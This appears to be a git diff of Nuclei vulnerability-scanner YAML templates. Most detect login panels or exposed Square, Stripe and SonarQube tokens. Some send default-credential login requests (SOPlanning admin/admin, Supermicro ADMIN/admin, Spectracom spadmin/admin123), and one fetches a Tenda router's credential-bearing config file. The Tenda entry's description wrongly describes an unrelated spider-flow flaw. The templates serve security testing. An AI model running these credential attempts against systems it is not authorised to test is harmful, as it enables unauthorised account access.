@@ id: somfy-login + info: - name: Somfy Login Page + name: Somfy Login Panel - Detect author: DhiyaneshDK severity: info + description: Somfy login panel was detected. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 1 tags: panel,login -requests: + +http: - method: GET path: - '{{BaseURL}}/m_login.htm' + matchers-condition: and matchers: - type: word words: - Home motion by Somfy + - type: status status: - 200 + +# digest: 4a0a00473045022100ac57acf133ccba0b222b1217719fcb151b58fdc5a98bc0ff3c0d9d8d004c3a4b0220185dacdbf81212e394366477a841d4ff93d5b5627c8bb3ab42d6e7cca1d859d8:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/sonarqube-login-10374.yaml b/poc/auth/sonarqube-login-10376.yaml similarity index 100% rename from poc/auth/sonarqube-login-10374.yaml rename to poc/auth/sonarqube-login-10376.yaml diff --git a/poc/auth/sonarqube-login.yaml b/poc/auth/sonarqube-login.yaml index 4bae428aed..cd8db812f2 100644 --- a/poc/auth/sonarqube-login.yaml +++ b/poc/auth/sonarqube-login.yaml @@ -1,32 +1,15 @@ id: sonarqube-login - info: - name: SonarQube Panel - Detect + name: SonarQube panel detect author: dhiyaneshDk severity: info - description: SonarQube panel was detected. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 - metadata: - max-request: 1 - tags: panel,sonarqube - -http: + tags: panel +requests: - method: GET path: - "{{BaseURL}}/sessions/new" - - matchers-condition: and matchers: - type: word - part: body words: - - "SonarQube" - - - type: status - status: - - 200 - -# digest: 490a004630440220037a2e45a717ad7cfce8eda45d3feb0c69d22a85270a978bcd3a22c38c45b97a022066854a7b112a7a4cf58be8afd74331a93d7bb78de3e07f3b6655c2dc434a8b14:922c64590222798bb761d5b6d8e72950 + - "SonarQube" + part: body diff --git a/poc/auth/sonarqube-token-10380.yaml b/poc/auth/sonarqube-token-10380.yaml new file mode 100644 index 0000000000..994d036f12 --- /dev/null +++ b/poc/auth/sonarqube-token-10380.yaml @@ -0,0 +1,22 @@ +id: sonarqube-token + +info: + name: SonarQube Token Disclosure + author: Ice3man + severity: info + metadata: + max-request: 1 + tags: exposure,token,sonarqube + +http: + - method: GET + path: + - "{{BaseURL}}" + + extractors: + - type: regex + part: body + regex: + - "sonar.{0,50}(?:\"|'|`)?[0-9a-f]{40}(?:\"|'|`)?" + +# digest: 4a0a0047304502204b7b6bb1ff958d322155673133a99b081ed1c61bd8afb5e1d0f249849b9badc6022100efbd2cb1fd9179a7c9a30daac8033d293490f30b28af36dadb2107ddd9d6e604:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/sonarqube-token-10382.yaml b/poc/auth/sonarqube-token-10382.yaml index ceac80589a..7fe08cc8f9 100644 --- a/poc/auth/sonarqube-token-10382.yaml +++ b/poc/auth/sonarqube-token-10382.yaml @@ -3,7 +3,7 @@ info: name: SonarQube Token Disclosure author: Ice3man severity: info - tags: exposure,token + tags: exposure,token,sonarqube requests: - method: GET path: diff --git a/poc/auth/soplanning-default-login.yaml b/poc/auth/soplanning-default-login.yaml new file mode 100644 index 0000000000..817121268f --- /dev/null +++ b/poc/auth/soplanning-default-login.yaml @@ -0,0 +1,49 @@ +id: soplanning-default-login + +info: + name: SOPlanning - Default Login + author: Kazgangap + severity: high + description: | + SOPlanning contains default credentials. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations. + reference: + - https://www.soplanning.org/en/ + metadata: + verified: true + max-request: 1 + vendor: soplanning + product: soplanning + shodan-query: html:"soplanning" + tags: soplanning,default-login + +http: + - raw: + - | + POST /process/login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + login={{username}}&password={{password}} + + attack: pitchfork + payloads: + username: + - admin + password: + - admin + + host-redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + - type: word + words: + - 'title="Logout"' + - 'title="Modify my profile"' + - 'Settings' + condition: and + + - type: status + status: + - 200 +# digest: 4a0a00473045022100b3d86e9e10bde636e6ff84016fd5241457bcac181d4c2b3192a646880f744dc902205cb3645bb990dc1492bf69406d5d8bdf9cfb6c1f2673f843d980c65713f09a92:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/spark-webui-unauth.yaml b/poc/auth/spark-webui-unauth.yaml index a917ae6951..b5b7470fdc 100644 --- a/poc/auth/spark-webui-unauth.yaml +++ b/poc/auth/spark-webui-unauth.yaml @@ -3,7 +3,8 @@ info: name: Unauthenticated Spark WebUI author: princechaddha severity: medium - reference: https://github.com/vulhub/vulhub/tree/master/spark/unacc + reference: + - https://github.com/vulhub/vulhub/tree/master/spark/unacc tags: spark,unauth requests: - method: GET diff --git a/poc/auth/spectracom-default-login-10403.yaml b/poc/auth/spectracom-default-login-10403.yaml index c8aa18c5fb..026a7506f0 100644 --- a/poc/auth/spectracom-default-login-10403.yaml +++ b/poc/auth/spectracom-default-login-10403.yaml @@ -1,4 +1,5 @@ id: spectracom-default-login + info: name: Spectracom Default Login author: madrobot @@ -10,8 +11,11 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 + metadata: + max-request: 1 tags: spectracom,default-login -requests: + +http: - raw: - | POST /users/login HTTP/1.1 @@ -19,12 +23,14 @@ requests: Content-Type: application/x-www-form-urlencoded data%5Bbutton%5D=submit&data%5BUser%5D%5Busername%5D={{username}}&data%5BUser%5D%5Bpassword%5D={{password}} + payloads: username: - spadmin password: - admin123 attack: pitchfork + matchers-condition: and matchers: - type: word @@ -33,8 +39,9 @@ requests: - "deleted" part: header condition: and + - type: status status: - 302 -# Enhanced by mp on 2022/03/11 +# digest: 4b0a004830460221009ddea1de39d4ca01d9a0043c61f7d94be5f8072b8c379663debaa33dc98e48a302210086a6d7b86a6d81bf17cf9073aa84e6a5f7d3605927d4bec495bcb77a62a85a52:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/spectracom-default-login-10405.yaml b/poc/auth/spectracom-default-login-10405.yaml new file mode 100644 index 0000000000..c8aa18c5fb --- /dev/null +++ b/poc/auth/spectracom-default-login-10405.yaml @@ -0,0 +1,40 @@ +id: spectracom-default-login +info: + name: Spectracom Default Login + author: madrobot + severity: high + description: Spectracom default admin credentials were discovered. + reference: + - https://orolia.com/manuals/NC/Content/NC_and_SS/Com/Topics/ADMIN/Passwords.htm + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + tags: spectracom,default-login +requests: + - raw: + - | + POST /users/login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + data%5Bbutton%5D=submit&data%5BUser%5D%5Busername%5D={{username}}&data%5BUser%5D%5Bpassword%5D={{password}} + payloads: + username: + - spadmin + password: + - admin123 + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - "spectracom" + - "deleted" + part: header + condition: and + - type: status + status: + - 302 + +# Enhanced by mp on 2022/03/11 diff --git a/poc/auth/sphider-login-10410.yaml b/poc/auth/sphider-login-10407.yaml similarity index 100% rename from poc/auth/sphider-login-10410.yaml rename to poc/auth/sphider-login-10407.yaml diff --git a/poc/auth/splunk-login-10416.yaml b/poc/auth/splunk-login-10416.yaml deleted file mode 100644 index b0905e7c9b..0000000000 --- a/poc/auth/splunk-login-10416.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: splunk-login -info: - name: Splunk SOAR - author: dhiyaneshDK - severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22Splunk+SOAR%22 - tags: panel,splunk -requests: - - method: GET - path: - - '{{BaseURL}}/login?next=/' - matchers-condition: and - matchers: - - type: word - words: - - 'Splunk SOAR' - - type: status - status: - - 200 diff --git a/poc/auth/square-access-token(1).yaml b/poc/auth/square-access-token-11867.yaml similarity index 100% rename from poc/auth/square-access-token(1).yaml rename to poc/auth/square-access-token-11867.yaml diff --git a/poc/auth/square-access-token.yaml b/poc/auth/square-access-token.yaml index e0a5d2d1d0..185bedae17 100644 --- a/poc/auth/square-access-token.yaml +++ b/poc/auth/square-access-token.yaml @@ -1,4 +1,5 @@ id: square-access-token + info: name: Square Access Token author: gaurang,daffainfo @@ -7,8 +8,11 @@ info: file: - extensions: - all + extractors: - type: regex regex: - "EAAAE[a-zA-Z0-9_-]{59}" - "sq0atp-[0-9A-Za-z\\-_]{22}" + +# digest: 4a0a004730450221009281991f9e1715dea07ec0b922c582007cc3d39d19c467aecfa8d5c367d7fe4202204c23bcb43bfc14965e1be0cb25c65d889c7e95691b0dc00d2f10b042a0a13942:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/square-oauth-secret(1).yaml b/poc/auth/square-oauth-secret(1).yaml new file mode 100644 index 0000000000..15571e71bc --- /dev/null +++ b/poc/auth/square-oauth-secret(1).yaml @@ -0,0 +1,16 @@ +id: square-oauth-secret + +info: + name: Square OAuth Secret + author: gaurang + severity: high + tags: token,file,square + +file: + - extensions: + - all + + extractors: + - type: regex + regex: + - "sq0csp-[0-9A-Za-z\\-_]{43}" diff --git a/poc/auth/square-oauth-secret-11868.yaml b/poc/auth/square-oauth-secret-11868.yaml deleted file mode 100644 index 86392888a8..0000000000 --- a/poc/auth/square-oauth-secret-11868.yaml +++ /dev/null @@ -1,13 +0,0 @@ -id: square-oauth-secret -info: - name: Square OAuth Secret - author: gaurang - severity: high - tags: token,file,square -file: - - extensions: - - all - extractors: - - type: regex - regex: - - "sq0csp-[0-9A-Za-z\\-_]{43}" diff --git a/poc/auth/squirrelmail-login-10521.yaml b/poc/auth/squirrelmail-login-10521.yaml new file mode 100644 index 0000000000..9efb883bed --- /dev/null +++ b/poc/auth/squirrelmail-login-10521.yaml @@ -0,0 +1,27 @@ +id: squirrelmail-login + +info: + name: SquirrelMail - Login + author: dhiyaneshDk + severity: info + reference: + - https://www.exploit-db.com/ghdb/7407 + metadata: + shodan-query: http.title:"SquirrelMail - Login" + tags: panel,squirrelmail + +requests: + - method: GET + path: + - "{{BaseURL}}/src/login.php" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "SquirrelMail - Login" + + - type: status + status: + - 200 diff --git a/poc/auth/squirrelmail-login.yaml b/poc/auth/squirrelmail-login.yaml index 1ea3c8d25b..d618b567ac 100644 --- a/poc/auth/squirrelmail-login.yaml +++ b/poc/auth/squirrelmail-login.yaml @@ -1,42 +1,23 @@ id: squirrelmail-login - info: - name: SquirrelMail Login Panel - Detect - author: dhiyaneshDk,ritikchaddha + name: SquirrelMail - Login + author: dhiyaneshDk severity: info - description: SquirrelMail login panel was detected. reference: - https://www.exploit-db.com/ghdb/7407 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 metadata: - max-request: 4 - shodan-query: title:"SquirrelMail" - tags: squirrelmail,edb,panel - -http: + shodan-query: http.title:"SquirrelMail - Login" + tags: panel,squirrelmail +requests: - method: GET path: - - "{{BaseURL}}" - "{{BaseURL}}/src/login.php" - - "{{BaseURL}}/webmail/src/login.php" - - "{{BaseURL}}/squirrelmail/src/login.php" - - host-redirects: true - max-redirects: 2 - stop-at-first-match: true - matchers-condition: and matchers: - type: word part: body words: - - "SquirrelMail" - + - "SquirrelMail - Login" - type: status status: - 200 - -# digest: 4a0a00473045022100ade135dbf48c514a804d9d16d458a25e140cdb7fb01ff3b15a3077ef4a72f2dd022035a5caa58988bbcc2fcb6bab829122c09751dcbf171d59e43e9616ad8ed74955:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/squirrelmail-vkeyboard-xss-10522.yaml b/poc/auth/squirrelmail-vkeyboard-xss-10522.yaml deleted file mode 100644 index cbf70bb2dc..0000000000 --- a/poc/auth/squirrelmail-vkeyboard-xss-10522.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: squirrelmail-vkeyboard-xss - -info: - name: SquirrelMail Virtual Keyboard <=0.9.1 - Cross-Site Scripting - author: dhiyaneshDk - severity: medium - description: SquirrelMail Virtual Keyboard plugin 0.9.1 and prior contains a cross-site scripting vulnerability via the vkeyboard.php parameter. It fails to properly sanitize user-supplied input, which allows an attacker to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. - reference: - - https://www.exploit-db.com/exploits/34814 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - cvss-score: 5.4 - cwe-id: CWE-80 - metadata: - max-request: 1 - tags: xss,squirrelmail,plugin,edb -variables: - payload: "\">" + part: body + - type: word + words: + - "text/html" + part: header diff --git a/poc/auth/ssrf-via-oauth-misconfig-10527.yaml b/poc/auth/ssrf-via-oauth-misconfig-10527.yaml index dcf32597cc..9fe1869a10 100644 --- a/poc/auth/ssrf-via-oauth-misconfig-10527.yaml +++ b/poc/auth/ssrf-via-oauth-misconfig-10527.yaml @@ -4,9 +4,8 @@ info: author: KabirSuda severity: medium description: Sends a POST request with the endpoint "/connect/register" to check external Interaction with multiple POST parameters. - reference: - - https://portswigger.net/research/hidden-oauth-attack-vectors tags: misconfig,oast,oauth,ssrf + reference: https://portswigger.net/research/hidden-oauth-attack-vectors requests: - raw: - | diff --git a/poc/auth/stem-audio-table-private-keys-10534.yaml b/poc/auth/stem-audio-table-private-keys-10535.yaml similarity index 100% rename from poc/auth/stem-audio-table-private-keys-10534.yaml rename to poc/auth/stem-audio-table-private-keys-10535.yaml diff --git a/poc/auth/stripe-api-key-11869.yaml b/poc/auth/stripe-api-key(1).yaml similarity index 100% rename from poc/auth/stripe-api-key-11869.yaml rename to poc/auth/stripe-api-key(1).yaml diff --git a/poc/auth/stripe-api-key.yaml b/poc/auth/stripe-api-key.yaml index a5ea66caf7..5624af050d 100644 --- a/poc/auth/stripe-api-key.yaml +++ b/poc/auth/stripe-api-key.yaml @@ -1,5 +1,4 @@ id: stripe-api-key - info: name: Stripe API Key author: gaurang @@ -8,10 +7,7 @@ info: file: - extensions: - all - extractors: - type: regex regex: - "(?i)stripe(.{0,20})?[sr]k_live_[0-9a-zA-Z]{24}" - -# digest: 4b0a00483046022100f0e284415d4e8014de7c3e8cfdf980c900fd56a840ea195cffecec856505187302210097d3c6810ed01c45e33ddcd46998419fda6972b412edda34ce8ff9ed4fa6384b:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/stripe-secret-key-10558.yaml b/poc/auth/stripe-secret-key-10558.yaml index dbcb6ef36e..a4b0fd272d 100644 --- a/poc/auth/stripe-secret-key-10558.yaml +++ b/poc/auth/stripe-secret-key-10558.yaml @@ -1,22 +1,15 @@ id: stripe-secret-key - info: name: Stripe Secret Key Disclosure author: Ice3man severity: info - metadata: - max-request: 1 tags: exposure,token,stripe - -http: +requests: - method: GET path: - "{{BaseURL}}" - extractors: - type: regex part: body regex: - 'sk_(?:live|test)_[0-9a-zA-Z]{24}' - -# digest: 490a0046304402207c3700e1645b9ce254efdd0d6fb7f8256d7003af7cc0a0a1e6f12d9f320651d4022075f953fb5c9aa61e2e0e1ffe449c774e54435102b7ee5ecbc173e7f5ce943120:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/stripe-secret-key-10556.yaml b/poc/auth/stripe-secret-key.yaml similarity index 100% rename from poc/auth/stripe-secret-key-10556.yaml rename to poc/auth/stripe-secret-key.yaml diff --git a/poc/auth/structurizr-default-login.yaml b/poc/auth/structurizr-default-login.yaml new file mode 100644 index 0000000000..fb0db3fe69 --- /dev/null +++ b/poc/auth/structurizr-default-login.yaml @@ -0,0 +1,62 @@ +id: structurizr-default-login + +info: + name: Structurizr - Default Login + author: DhiyaneshDK + severity: high + description: | + Structurizr contains default credentials. + reference: + - https://docs.structurizr.com/onpremises/quickstart + metadata: + verified: true + max-request: 3 + shodan-query: http.favicon.hash:1199592666 + tags: structurizr,default-login + +http: + - raw: + - | + GET /signin HTTP/1.1 + Host: {{Hostname}} + - | + POST /login HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + + username={{username}}&password={{password}}&_csrf={{csrf}}&hash= + - | + GET /dashboard HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + attack: pitchfork + payloads: + username: + - "structurizr" + password: + - "password" + + matchers-condition: and + matchers: + - type: word + part: body_3 + words: + - '' + - 'Sign out' + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + name: csrf + group: 1 + regex: + - 'name="_csrf" value="([0-9a-z-]+)"' + internal: true + +# digest: 490a00463044022000bee996e0a22c9c6fc5cf0762ecaeee4e63c7b49cd44bedf30c15279c7323f402204e76001706df14f1509bf3dcbed38250e5ab7e925e877eea06fcb29b85d84f04:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/submitty-login-10567.yaml b/poc/auth/submitty-login-10567.yaml deleted file mode 100644 index d6dedd6385..0000000000 --- a/poc/auth/submitty-login-10567.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: submitty-login -info: - name: Submitty Login Panel - author: princechaddha - severity: info - reference: - - https://github.com/Submitty/Submitty - - https://rcos.io/ - tags: panel,submitty,oos -requests: - - method: GET - path: - - '{{BaseURL}}/authentication/login' - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'submitty-banner' - - 'https://submitty.org' - condition: and - - type: status - status: - - 200 - extractors: - - type: regex - part: body - name: version - group: 1 - regex: - - '\/Submitty\/Submitty\/releases\/tag\/([a-z0-9.]+)" target="_blank' diff --git a/poc/auth/submitty-login-10568.yaml b/poc/auth/submitty-login-10568.yaml new file mode 100644 index 0000000000..9c17998ee3 --- /dev/null +++ b/poc/auth/submitty-login-10568.yaml @@ -0,0 +1,31 @@ +id: submitty-login +info: + name: Submitty Login Panel + author: princechaddha + severity: info + reference: + - https://github.com/Submitty/Submitty + - https://rcos.io/ + tags: panel,submitty,oss +requests: + - method: GET + path: + - '{{BaseURL}}/authentication/login' + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'submitty-banner' + - 'https://submitty.org' + condition: and + - type: status + status: + - 200 + extractors: + - type: regex + part: body + name: version + group: 1 + regex: + - '\/Submitty\/Submitty\/releases\/tag\/([a-z0-9.]+)" target="_blank' diff --git a/poc/auth/supermicro-default-login-10572.yaml b/poc/auth/supermicro-default-login-10572.yaml index 389184e33a..14c7e91cd3 100644 --- a/poc/auth/supermicro-default-login-10572.yaml +++ b/poc/auth/supermicro-default-login-10572.yaml @@ -1,17 +1,14 @@ id: supermicro-default-login info: - name: Supermicro Ipmi - Default Admin Login + name: Supermicro Ipmi Default Login author: For3stCo1d severity: high - description: Supermicro Ipmi default admin login credentials were successful. reference: - https://www.gearprimer.com/wiki/supermicro-ipmi-default-username-pasword/ - metadata: - max-request: 2 tags: supermicro,default-login -http: +requests: - raw: - | POST /cgi/login.cgi HTTP/1.1 @@ -28,8 +25,8 @@ http: pass: - ADMIN - admin - stop-at-first-match: true + stop-at-first-match: true matchers-condition: and matchers: - type: word @@ -42,5 +39,3 @@ http: - type: status status: - 200 - -# digest: 4a0a004730450220774c665ddbbaf12c515be67dc37f276fed0e1d410d0820b8ccd1b3523dae5cac022100f06abda25027143ab8bb06bae13c9e5c9d68b91bfbcfd21f9768cea90746fa9d:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/supermicro-default-login.yaml b/poc/auth/supermicro-default-login.yaml new file mode 100644 index 0000000000..9caa2a311e --- /dev/null +++ b/poc/auth/supermicro-default-login.yaml @@ -0,0 +1,36 @@ +id: supermicro-default-login +info: + name: Supermicro Ipmi Default Login + author: For3stCo1d + severity: high + reference: + - https://www.gearprimer.com/wiki/supermicro-ipmi-default-username-pasword/ + tags: supermicro,default-login +requests: + - raw: + - | + POST /cgi/login.cgi HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + name={{user}}&pwd={{pass}} + attack: pitchfork + payloads: + user: + - ADMIN + - admin + pass: + - ADMIN + - admin + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'self.location=' + - '/cgi/url_redirect.cgi?url_name=mainmenu' + condition: and + - type: status + status: + - 200 diff --git a/poc/auth/symantec-epm-login-10601.yaml b/poc/auth/symantec-epm-login-10601.yaml index 38785e33a3..1b2e0addd9 100644 --- a/poc/auth/symantec-epm-login-10601.yaml +++ b/poc/auth/symantec-epm-login-10601.yaml @@ -1,25 +1,20 @@ id: symantec-epm-login - info: name: Symantec Endpoint Protection Manager author: princechaddha severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22Symantec+Endpoint+Protection+Manager%22 + reference: https://www.shodan.io/search?query=http.title%3A%22Symantec+Endpoint+Protection+Manager%22 tags: symantec,panel,login - requests: - method: GET path: - '{{BaseURL}}' - matchers-condition: and matchers: - type: word words: - "Symantec Endpoint Protection Manager" part: body - - type: status status: - 200 diff --git a/poc/auth/symantec-epm-login.yaml b/poc/auth/symantec-epm-login.yaml index 1b2e0addd9..e34d206258 100644 --- a/poc/auth/symantec-epm-login.yaml +++ b/poc/auth/symantec-epm-login.yaml @@ -1,20 +1,33 @@ id: symantec-epm-login + info: - name: Symantec Endpoint Protection Manager + name: Symantec Endpoint Protection Manager Login Panel - Detect author: princechaddha severity: info - reference: https://www.shodan.io/search?query=http.title%3A%22Symantec+Endpoint+Protection+Manager%22 + description: Symantec Endpoint Protection Manager login panel was detected. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 1 + shodan-query: http.title:"Symantec Endpoint Protection Manager" tags: symantec,panel,login -requests: + +http: - method: GET path: - '{{BaseURL}}' + matchers-condition: and matchers: - type: word words: - "Symantec Endpoint Protection Manager" part: body + - type: status status: - 200 + +# digest: 4a0a004730450220699bcfb47845945ee2579a0fb37193a03451981b3a0f3971d75e2985153b8ba8022100c1252e6e423d1840938bef2c1e4aa67cc9e5b713c9689e87b469cf78fdad7a4f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/symantec-ewep-login-10605.yaml b/poc/auth/symantec-ewep-login-10605.yaml index ba70fd514b..2427730b89 100644 --- a/poc/auth/symantec-ewep-login-10605.yaml +++ b/poc/auth/symantec-ewep-login-10605.yaml @@ -1,25 +1,20 @@ id: symantec-ewep-login - info: name: Symantec Encryption Web Email Protection author: johnk3r severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22Symantec+Encryption+Server%3A+Web+Email+Protection+-+Login%22 + reference: https://www.shodan.io/search?query=http.title%3A%22Symantec+Encryption+Server%3A+Web+Email+Protection+-+Login%22 tags: panel,symantec,login - requests: - method: GET path: - "{{BaseURL}}/b/l.e" - matchers-condition: and matchers: - type: word words: - "Symantec Encryption Server: Web Email Protection - Login" part: body - - type: status status: - 200 diff --git a/poc/auth/symantec-ewep-login.yaml b/poc/auth/symantec-ewep-login.yaml index 2427730b89..cf36ba7f13 100644 --- a/poc/auth/symantec-ewep-login.yaml +++ b/poc/auth/symantec-ewep-login.yaml @@ -1,20 +1,33 @@ id: symantec-ewep-login + info: - name: Symantec Encryption Web Email Protection + name: Symantec Encryption Server Login Panel - Detect author: johnk3r severity: info - reference: https://www.shodan.io/search?query=http.title%3A%22Symantec+Encryption+Server%3A+Web+Email+Protection+-+Login%22 + description: Symantec Encryption Server login panel was detected. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 1 + shodan-query: http.title:"Symantec Encryption Server" tags: panel,symantec,login -requests: + +http: - method: GET path: - "{{BaseURL}}/b/l.e" + matchers-condition: and matchers: - type: word words: - "Symantec Encryption Server: Web Email Protection - Login" part: body + - type: status status: - 200 + +# digest: 4b0a00483046022100ee6be9f86c5d20f3cd0a2e890fb39cf79520eb7453f6eefa2e566d17260a48c6022100ddf96ceb2c51f0695c48eb2319167f06e3d2aff876fdf3b1c62bbfdd3b1fa96e:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/szhe-default-login-10636.yaml b/poc/auth/szhe-default-login-10636.yaml new file mode 100644 index 0000000000..64f4525692 --- /dev/null +++ b/poc/auth/szhe-default-login-10636.yaml @@ -0,0 +1,34 @@ +id: szhe-default-login +info: + name: Szhe Default Login + author: pikpikcu + severity: low + tags: szhe,default-login + reference: + - https://github.com/Cl0udG0d/SZhe_Scan # vendor homepage +requests: + - raw: + - | + POST /login/ HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + email={{username}}&password={{password}}&remeber=true + payloads: + username: + - springbird@qq.com + password: + - springbird + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - 'You should be redirected automatically to target URL: /' + - type: word + words: + - 'Set-Cookie: session' + part: header + - type: status + status: + - 302 diff --git a/poc/auth/szhe-default-login-10638.yaml b/poc/auth/szhe-default-login-10638.yaml index 64f4525692..261f6d9060 100644 --- a/poc/auth/szhe-default-login-10638.yaml +++ b/poc/auth/szhe-default-login-10638.yaml @@ -2,10 +2,16 @@ id: szhe-default-login info: name: Szhe Default Login author: pikpikcu - severity: low + description: Szhe default login information was discovered. + severity: medium tags: szhe,default-login reference: - https://github.com/Cl0udG0d/SZhe_Scan # vendor homepage + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N + cvss-score: 5.8 + cve-id: + cwe-id: CWE-522 requests: - raw: - | @@ -32,3 +38,5 @@ requests: - type: status status: - 302 + +# Enhanced by mp on 2022/03/11 diff --git a/poc/auth/tendat-credential.yaml b/poc/auth/tendat-credential.yaml new file mode 100644 index 0000000000..3fbbda7fe7 --- /dev/null +++ b/poc/auth/tendat-credential.yaml @@ -0,0 +1,29 @@ +id: tendat-credential + +info: + name: Tendat Router Credential - Exposure + author: pussycat0x + severity: high + description: | + A vulnerability, which was classified as critical, was found in spider-flow 0.4.3. Affected is the function FunctionService.saveFunction of the file src/main/java/org/spiderflow/controller/FunctionController.java. The manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249510 is the identifier assigned to this vulnerability. + reference: + - https://github.com/wy876/POC/blob/main/Tenda%E8%B7%AF%E7%94%B1%E5%99%A8%E8%B4%A6%E5%8F%B7%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2.md + metadata: + verified: true + fofa-query: title="Tenda | LOGIN" && country="CN" + tags: tendat,exposure,config + +http: + - raw: + - | + GET /cgi-bin/DownloadCfg/RouterCfm.jpg HTTP/1.1 + Host: {{Hostname}} + + matchers: + - type: dsl + dsl: + - 'contains_all(body, "http_username", "device_remark")' + - 'contains(header, "config/conf")' + - 'status_code == 200' + condition: and +# digest: 4a0a00473045022009aff9d412e592f419c34a053f2e0dd2e271dfb1b8201d7e3a8e658155acd843022100e816bae0e0e3e82dc102fb1cf9b8f7a3452c55b47dfa9c0ec4cadb13c423ad37:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/threatq-login-10757.yaml b/poc/auth/threatq-login-10757.yaml index cb351c7f05..b2f55f8c74 100644 --- a/poc/auth/threatq-login-10757.yaml +++ b/poc/auth/threatq-login-10757.yaml @@ -1,16 +1,18 @@ id: threatq-login + info: name: ThreatQ login panel author: idealphase severity: info description: ThreatQ serves as an open and extensible threat intelligence platform that allows you to automate the intelligence lifecycle, quickly understand threats, make better decisions and accelerate detection and response - reference: - - https://www.threatq.com/threat-intelligence-platform/ + reference: https://www.threatq.com/threat-intelligence-platform/ tags: panel,threatq + requests: - method: GET path: - '{{BaseURL}}/login' + matchers-condition: and matchers: - type: word @@ -18,9 +20,11 @@ requests: - 'ThreatQ' - '' - - 'phpPgAdmin' - condition: and - case-insensitive: true - type: word - part: header words: - - "text/html" + - '' - type: status status: - 200 -# digest: 4a0a00473045022046d2b6e9e4da9da54af8756a23be6d3184a6dc982bc5cd3d35adcf803bfbc807022100d0ad29b08214bbd9ed51f7d4b111a48898e05fce7104134b181d35a75d657122:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + + - type: word + part: header + words: + - "text/html" diff --git a/poc/cve/CVE-2008-4668.yaml b/poc/cve/CVE-2008-4668.yaml index 0f16b57d95..82ec98c146 100644 --- a/poc/cve/CVE-2008-4668.yaml +++ b/poc/cve/CVE-2008-4668.yaml @@ -1,38 +1,27 @@ id: CVE-2008-4668 info: - name: Joomla! Image Browser 0.1.5 rc2 - Local File Inclusion + name: Joomla! Component imagebrowser 0.1.5 rc2 - Directory Traversal author: daffainfo - severity: critical - description: Joomla! Image Browser 0.1.5 rc2 is susceptible to local file inclusion via com_imagebrowser which could allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php. - remediation: | - Upgrade to a patched version of Joomla! Image Browser or apply the necessary security patches to mitigate the LFI vulnerability. + severity: high + description: Directory traversal vulnerability in the Image Browser (com_imagebrowser) 0.1.5 component for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php. reference: - https://www.exploit-db.com/exploits/6618 + - https://www.cvedetails.com/cve/CVE-2008-4668 + - http://web.archive.org/web/20210121183742/https://www.securityfocus.com/bid/31458/ - http://securityreason.com/securityalert/4464 - - https://nvd.nist.gov/vuln/detail/CVE-2008-4668 - - https://exchange.xforce.ibmcloud.com/vulnerabilities/45490 classification: - cvss-metrics: 